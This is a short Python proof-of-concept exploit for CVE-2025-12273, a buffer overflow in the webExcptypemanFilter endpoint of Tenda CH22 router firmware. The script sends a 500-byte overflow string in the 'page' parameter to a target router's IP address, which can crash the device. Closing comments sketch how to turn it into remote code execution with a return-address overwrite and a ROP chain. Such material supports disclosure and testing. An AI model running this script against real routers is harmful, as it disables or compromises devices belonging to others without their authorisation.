CVE-2025-12273

#!/usr/bin/env python3 """ CVE-2025-12273 PoC - Tenda CH22 Buffer Overflow in webExcptypemanFilter This PoC demonstrates the buffer overflow vulnerability in the fromwebExcptypemanFilter function. Target: Tenda CH22 Router Firmware 1.0.0.1 """ import requests import sys target_ip = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1" target_port = sys.argv[2] if len(sys.argv) > 2 else "80" url = f"http://{target_ip}:{target_port}/goform/webExcptypemanFilter" # Create overflow payload - 500 bytes to trigger buffer overflow # The actual required length depends on the buffer size in the vulnerable firmware overflow_payload = "A" * 500 params = { "page": overflow_payload } print(f"[*] Sending buffer overflow payload to {url}") print(f"[*] Payload length: {len(overflow_payload)} bytes") try: response = requests.get(url, params=params, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[+] Response length: {len(response.text)} bytes") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Note: This is a basic DoS PoC. For RCE, craft return address and shellcode # Typical exploitation: overwrite return address with gadget address + ROP chain

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